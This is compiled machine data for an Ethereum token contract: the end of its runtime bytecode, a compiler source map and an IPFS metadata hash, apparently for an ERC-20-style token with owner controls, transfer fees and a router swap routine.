828501525f5b818110156110585785810183015185820160400152820161103c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461108c575f80fd5b50565b5f80604083850312156110a0575f80fd5b82356110ab81611078565b946020939093013593505050565b5f805f606084860312156110cb575f80fd5b83356110d681611078565b925060208401356110e681611078565b929592945050506040919091013590565b5f60208284031215611107575f80fd5b8135610d4481611078565b5f8060408385031215611123575f80fd5b823561112e81611078565b9150602083013561113e81611078565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561119757815f190482111561117d5761117d611149565b8085161561118a57918102915b93841c9390800290611162565b509250929050565b5f826111ad575060016102d2565b816111b957505f6102d2565b81600181146111cf57600281146111d9576111f5565b60019150506102d2565b60ff8411156111ea576111ea611149565b50506001821b6102d2565b5060208310610133831016604e8410600b8410161715611218575081810a6102d2565b611222838361115d565b805f190482111561123557611235611149565b029392505050565b5f610d4460ff84168361119f565b80820281158282048414176102d2576102d2611149565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156112a9575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156112d2575f80fd5b8151610d4481611078565b5f600182016112ee576112ee611149565b5060010190565b818103818111156102d2576102d2611149565b808201808211156102d2576102d2611149565b5f8261133557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561139c5784516001600160a01b031683529383019391830191600101611377565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205012bdc2747bc2f67365c02679941dfec62659b7dc48fca4b0ce648b35f4a7a364736f6c63430008140033

3722:6455:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5594:83;;;;;;;;;;-1:-1:-1;5664:5:0;;;;;;;;;;;;-1:-1:-1;;;5664:5:0;;;;5594:83;;;;;;;:::i;:::-;;;;;;;;6427:161;;;;;;;;;;-1:-1:-1;6427:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6427:161:0;1023:187:1;5871:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5871:95:0;1215:177:1;6596:313:0;;;;;;;;;;-1:-1:-1;6596:313:0;;;;;:::i;:::-;;:::i;5780:83::-;;;;;;;;;;-1:-1:-1;5780:83:0;;4368:1;2000:36:1;;1988:2;1973:18;5780:83:0;1858:184:1;5974:119:0;;;;;;;;;;-1:-1:-1;5974:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6067:18:0;6040:7;6067:18;;;:9;:18;;;;;;;5974:119;2888:148;;;;;;;;;;;;;:::i;:::-;;2674:79;;;;;;;;;;-1:-1:-1;2712:7:0;2739:6;2674:79;;-1:-1:-1;;;;;2739:6:0;;;2445:51:1;;2433:2;2418:18;2674:79:0;2299:203:1;5685:87:0;;;;;;;;;;-1:-1:-1;5757:7:0;;;;;;;;;;;;-1:-1:-1;;;5757:7:0;;;;5685:87;;6101:167;;;;;;;;;;-1:-1:-1;6101:167:0;;;;;:::i;:::-;;:::i;9862:312::-;;;;;;;;;;;;;:::i;6276:143::-;;;;;;;;;;-1:-1:-1;6276:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6384:18:0;;;6357:7;6384:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6276:143;5291:295;;;;;;;;;;;;;:::i;6427:161::-;6502:4;6519:39;1701:10;6542:7;6551:6;6519:8;:39::i;:::-;-1:-1:-1;6576:4:0;6427:161;;;;;:::o;5871:95::-;5924:7;4424:13;4368:1;4424:2;:13;:::i;:::-;4411:26;;:10;:26;:::i;:::-;5944:14;;5871:95;:::o;6596:313::-;6694:4;6711:36;6721:6;6729:9;6740:6;6711:9;:36::i;:::-;6758:121;6767:6;1701:10;6789:89;6827:6;6789:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6789:19:0;;;;;;:11;:19;;;;;;;;1701:10;6789:33;;;;;;;;;;:37;:89::i;:::-;6758:8;:121::i;:::-;-1:-1:-1;6897:4:0;6596:313;;;;;:::o;2888:148::-;2801:6;;-1:-1:-1;;;;;2801:6:0;1701:10;2801:22;2793:67;;;;-1:-1:-1;;;2793:67:0;;;;;;;:::i;:::-;;;;;;;;;2995:1:::1;2979:6:::0;;2958:40:::1;::::0;-1:-1:-1;;;;;2979:6:0;;::::1;::::0;2958:40:::1;::::0;2995:1;;2958:40:::1;3026:1;3009:19:::0;;-1:-1:-1;;;;;;3009:19:0::1;::::0;;2888:148::o;6101:167::-;6179:4;6196:42;1701:10;6220:9;6231:6;6196:9;:42::i;9862:312::-;2801:6;;-1:-1:-1;;;;;2801:6:0;1701:10;2801:22;2793:67;;;;-1:-1:-1;;;2793:67:0;;;;;;;:::i;:::-;9926:15:::1;::::0;::::1;::::0;::::1;;;9925:16;9917:51;;;::::0;-1:-1:-1;;;9917:51:0;;5151:2:1;9917:51:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;9917:51:0::1;4949:347:1::0;9917:51:0::1;9979:10;::::0;-1:-1:-1;;;;;9979:10:0::1;:26;10013:21;10044:4;10050:24;10044:4:::0;-1:-1:-1;;;;;6067:18:0;6040:7;6067:18;;;:9;:18;;;;;;;5974:119;10050:24:::1;10075:1;10077::::0;10079:7:::1;2712::::0;2739:6;-1:-1:-1;;;;;2739:6:0;;2674:79;10079:7:::1;9979:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9979:124:0;;;-1:-1:-1;;;;;5660:15:1;;;9979:124:0::1;::::0;::::1;5642:34:1::0;5692:18;;;5685:34;;;;5735:18;;;5728:34;;;;5778:18;;;5771:34;5842:15;;;5821:19;;;5814:44;10087:15:0::1;5874:19:1::0;;;5867:35;5576:19;;9979:124:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10114:12:0::1;:19:::0;;-1:-1:-1;;10144:22:0;;;;;-1:-1:-1;9862:312:0:o;5291:295::-;2801:6;;-1:-1:-1;;;;;2801:6:0;1701:10;2801:22;2793:67;;;;-1:-1:-1;;;2793:67:0;;;;;;;:::i;:::-;5343:10:::1;:69:::0;;-1:-1:-1;;;;;;5343:69:0::1;5369:42;5343:69:::0;;::::1;::::0;;;5423:53:::1;::::0;5440:4:::1;::::0;4424:13:::1;4368:1;4424:2;:13;:::i;:::-;4411:26;::::0;:10:::1;:26;:::i;5423:53::-;5512:10;;;;;;;;;-1:-1:-1::0;;;;;5512:10:0::1;-1:-1:-1::0;;;;;5512:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5498:46:0::1;;5553:4;5560:10;;;;;;;;;-1:-1:-1::0;;;;;5560:10:0::1;-1:-1:-1::0;;;;;5560:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5498:80;::::0;-1:-1:-1;;;;;;5498:80:0::1;::::0;;;;;;-1:-1:-1;;;;;6710:15:1;;;5498:80:0::1;::::0;::::1;6692:34:1::0;6762:15;;6742:18;;;6735:43;6627:18;;5498:80:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5487:8;:91:::0;;-1:-1:-1;;;;;;5487:91:0::1;-1:-1:-1::0;;;;;5487:91:0;;;::::1;::::0;;;::::1;::::0;;5291:295::o;6917:335::-;-1:-1:-1;;;;;7010:19:0;;7002:68;;;;-1:-1:-1;;;7002:68:0;;6991:2:1;7002:68:0;;;6973:21:1;7030:2;7010:18;;;7003:30;7069:34;7049:18;;;7042:62;-1:-1:-1;;;7120:18:1;;;7113:34;7164:19;;7002:68:0;6789:400:1;7002:68:0;-1:-1:-1;;;;;7089:21:0;;7081:68;;;;-1:-1:-1;;;7081:68:0;;7396:2:1;7081:68:0;;;7378:21:1;7435:2;7415:18;;;7408:30;7474:34;7454:18;;;7447:62;-1:-1:-1;;;7525:18:1;;;7518:32;7567:19;;7081:68:0;7194:398:1;7081:68:0;-1:-1:-1;;;;;7160:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7212:32;;1361:25:1;;;7212:32:0;;1334:18:1;7212:32:0;;;;;;;6917:335;;;:::o;7260:1866::-;-1:-1:-1;;;;;7351:19:0;;7343:69;;;;-1:-1:-1;;;7343:69:0;;7799:2:1;7343:69:0;;;7781:21:1;7838:2;7818:18;;;7811:30;7877:34;7857:18;;;7850:62;-1:-1:-1;;;7928:18:1;;;7921:35;7973:19;;7343:69:0;7597:401:1;7343:69:0;-1:-1:-1;;;;;7431:19:0;;7423:67;;;;-1:-1:-1;;;7423:67:0;;8205:2:1;7423:67:0;;;8187:21:1;8244:2;8224:18;;;8217:30;8283:34;8263:18;;;8256:62;-1:-1:-1;;;8334:18:1;;;8327:33;8377:19;;7423:67:0;8003:399:1;7423:67:0;7517:1;7509:5;:9;7501:63;;;;-1:-1:-1;;;7501:63:0;;8609:2:1;7501:63:0;;;8591:21:1;8648:2;8628:18;;;8621:30;8687:34;8667:18;;;8660:62;-1:-1:-1;;;8738:18:1;;;8731:39;8787:19;;7501:63:0;8407:405:1;7501:63:0;7642:10;;7575:17;;7610:5;;7626:49;;7610:5;;-1:-1:-1;;;;;7642:10:0;7654:20;:5;7575:17;7654:9;:20::i;7626:49::-;7702:10;;7686:49;;7695:5;;-1:-1:-1;;;;;7702:10:0;7714:20;:5;7724:9;7714;:20::i;7686:49::-;2712:7;2739:6;-1:-1:-1;;;;;7750:16:0;;;2739:6;;7750:16;;;;:36;;-1:-1:-1;2712:7:0;2739:6;-1:-1:-1;;;;;7770:16:0;;;2739:6;;7770:16;;7750:36;7746:1012;;;7815:75;7886:3;7815:66;7836:15;;7826:9;;:25;7825:55;;7866:14;;7825:55;;;7853:12;;7825:55;7815:5;;:9;:66::i;:::-;:70;;:75::i;:::-;7920:8;;7803:87;;-1:-1:-1;;;;;;7911:17:0;;;7920:8;;7911:17;:49;;;;-1:-1:-1;7949:10:0;;-1:-1:-1;;;;;7932:28:0;;;7949:10;;7932:28;;7911:49;:76;;;;-1:-1:-1;;;;;;7966:21:0;;;;;;:14;:21;;;;;;;;7964:23;7911:76;7907:129;;;8009:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7907:129;8064:8;;-1:-1:-1;;;;;8055:17:0;;;8064:8;;8055:17;:42;;;;-1:-1:-1;;;;;;8076:21:0;;8092:4;8076:21;;8055:42;8052:172;;;8130:78;8204:3;8130:69;8151:16;;8141:9;;:26;8140:58;;8183:15;;8140:58;;;8169:13;;8130:5;;:9;:69::i;:78::-;8118:90;;8052:172;8289:4;8240:28;6067:18;;;:9;:18;;;;;;8315:6;;;;8314:7;:28;;;;-1:-1:-1;8334:8:0;;-1:-1:-1;;;;;8325:17:0;;;8334:8;;8325:17;8314:28;:44;;;;-1:-1:-1;8346:12:0;;;;;;;8314:44;:78;;;;;8374:18;;8362:9;;:30;8314:78;8310:437;;;8439:11;;8416:20;:34;8413:124;;;8469:68;8486:50;8490:5;8497:38;8501:20;8523:11;;8497:3;:38::i;:::-;8486:3;:50::i;:::-;8469:16;:68::i;:::-;8585:21;8677:35;8690:21;8677:12;:35::i;:::-;8394:353;8310:437;7788:970;7746:1012;8773:11;;8770:162;;8841:4;8823:24;;;;:9;:24;;;;;;:39;;8852:9;8823:28;:39::i;:::-;8816:4;8798:24;;;;:9;:24;;;;;;;:64;;;;8880:40;;-1:-1:-1;;;;;8880:40:0;;;;;;;8910:9;1361:25:1;;1349:2;1334:18;;1215:177;8880:40:0;;;;;;;;8770:162;-1:-1:-1;;;;;8961:16:0;;;;;;:9;:16;;;;;;:27;;8982:5;8961:20;:27::i;:::-;-1:-1:-1;;;;;8944:16:0;;;;;;:9;:16;;;;;:44;9016:42;9037:20;:5;9047:9;9037;:20::i;:::-;-1:-1:-1;;;;;9016:16:0;;;;;;:9;:16;;;;;;;:20;:42::i;:::-;-1:-1:-1;;;;;8999:16:0;;;;;;;:9;:16;;;;;:59;;;;9074:44;;;9097:20;:5;9107:9;9097;:20::i;:::-;9074:44;;1361:25:1;;;1349:2;1334:18;9074:44:0;;;;;;;7332:1794;;7260:1866;;;:::o;798:190::-;884:7;920:12;912:6;;;;904:29;;;;-1:-1:-1;;;904:29:0;;;;;;;;:::i;:::-;-1:-1:-1;944:9:0;956:5;960:1;956;:5;:::i;:::-;944:17;798:190;-1:-1:-1;;;;;798:190:0:o;467:179::-;525:7;;557:5;561:1;557;:5;:::i;:::-;545:17;;586:1;581;:6;;573:46;;;;-1:-1:-1;;;573:46:0;;9422:2:1;573:46:0;;;9404:21:1;9461:2;9441:18;;;9434:30;9500:29;9480:18;;;9473:57;9547:18;;573:46:0;9220:351:1;573:46:0;637:1;467:179;-1:-1:-1;;;467:179:0:o;996:246::-;1054:7;1078:1;1083;1078:6;1074:47;;-1:-1:-1;1108:1:0;1101:8;;1074:47;1131:9;1143:5;1147:1;1143;:5;:::i;:::-;1131:17;-1:-1:-1;1176:1:0;1167:5;1171:1;1131:17;1167:5;:::i;:::-;:10;1159:56;;;;-1:-1:-1;;;1159:56:0;;10000:2:1;1159:56:0;;;9982:21:1;10039:2;10019:18;;;10012:30;10078:34;10058:18;;;10051:62;-1:-1:-1;;;10129:18:1;;;10122:31;10170:19;;1159:56:0;9798:397:1;1250:132:0;1308:7;1335:39;1339:1;1342;1335:39;;;;;;;;;;;;;;;;;:3;:39::i;9719:98::-;9776:7;9803:1;9801;:3;9800:9;;9808:1;9800:9;;;-1:-1:-1;9806:1:0;9719:98;-1:-1:-1;9719:98:0:o;9134:468::-;4857:6;:13;;-1:-1:-1;;4857:13:0;4866:4;4857:13;;;9236:16:::1;::::0;;9250:1:::1;9236:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9236:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9236:16:0::1;9212:40;;9281:4;9263;9268:1;9263:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9263:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9307:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;9307:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;9263:7;;9307:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9297:4;9302:1;9297:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9297:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;9367:10:::1;::::0;9335:57:::1;::::0;9352:4:::1;::::0;9367:10:::1;9380:11:::0;9335:8:::1;:57::i;:::-;9403:10;::::0;:191:::1;::::0;-1:-1:-1;;;9403:191:0;;-1:-1:-1;;;;;9403:10:0;;::::1;::::0;:61:::1;::::0;:191:::1;::::0;9479:11;;9403:10:::1;::::0;9521:4;;9548::::1;::::0;9568:15:::1;::::0;9403:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4893:6:0;:14;;-1:-1:-1;;4893:14:0;;;-1:-1:-1;;;;9134:468:0:o;9610:101::-;9675:10;;9667:36;;-1:-1:-1;;;;;9675:10:0;;;;9667:36;;;;;9696:6;;9675:10;9667:36;9675:10;9667:36;9696:6;9675:10;9667:36;;;;;;;;;;;;;;;;;;;;;9610:101;:::o;654:136::-;712:7;739:43;743:1;746;739:43;;;;;;;;;;;;;;;;;:3;:43::i;1390:189::-;1476:7;1511:12;1504:5;1496:28;;;;-1:-1:-1;;;1496:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1535:9:0;1547:5;1551:1;1547;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5913:306::-;6001:6;6009;6017;6070:2;6058:9;6049:7;6045:23;6041:32;6038:52;;;6086:1;6083;6076:12;6038:52;6115:9;6109:16;6099:26;;6165:2;6154:9;6150:18;6144:25;6134:35;;6209:2;6198:9;6194:18;6188:25;6178:35;;5913:306;;;;;:::o;6224:251::-;6294:6;6347:2;6335:9;6326:7;6322:23;6318:32;6315:52;;;6363:1;6360;6353:12;6315:52;6395:9;6389:16;6414:31;6439:5;6414:31;:::i;8817:135::-;8856:3;8877:17;;;8874:43;;8897:18;;:::i;:::-;-1:-1:-1;8944:1:1;8933:13;;8817:135::o;8957:128::-;9024:9;;;9045:11;;;9042:37;;;9059:18;;:::i;9090:125::-;9155:9;;;9176:10;;;9173:36;;;9189:18;;:::i;9576:217::-;9616:1;9642;9632:132;;9686:10;9681:3;9677:20;9674:1;9667:31;9721:4;9718:1;9711:15;9749:4;9746:1;9739:15;9632:132;-1:-1:-1;9778:9:1;;9576:217::o;10332:127::-;10393:10;10388:3;10384:20;10381:1;10374:31;10424:4;10421:1;10414:15;10448:4;10445:1;10438:15;10464:980;10726:4;10774:3;10763:9;10759:19;10805:6;10794:9;10787:25;10831:2;10869:6;10864:2;10853:9;10849:18;10842:34;10912:3;10907:2;10896:9;10892:18;10885:31;10936:6;10971;10965:13;11002:6;10994;10987:22;11040:3;11029:9;11025:19;11018:26;;11079:2;11071:6;11067:15;11053:29;;11100:1;11110:195;11124:6;11121:1;11118:13;11110:195;;;11189:13;;-1:-1:-1;;;;;11185:39:1;11173:52;;11280:15;;;;11245:12;;;;11221:1;11139:9;11110:195;;;-1:-1:-1;;;;;;;11361:32:1;;;;11356:2;11341:18;;11334:60;-1:-1:-1;;;11425:3:1;11410:19;11403:35;11322:3;10464:980;-1:-1:-1;;;10464:980:1:o

ipfs://5012bdc2747bc2f67365c02679941dfec62659b7dc48fca4b0ce648b35f4a7a3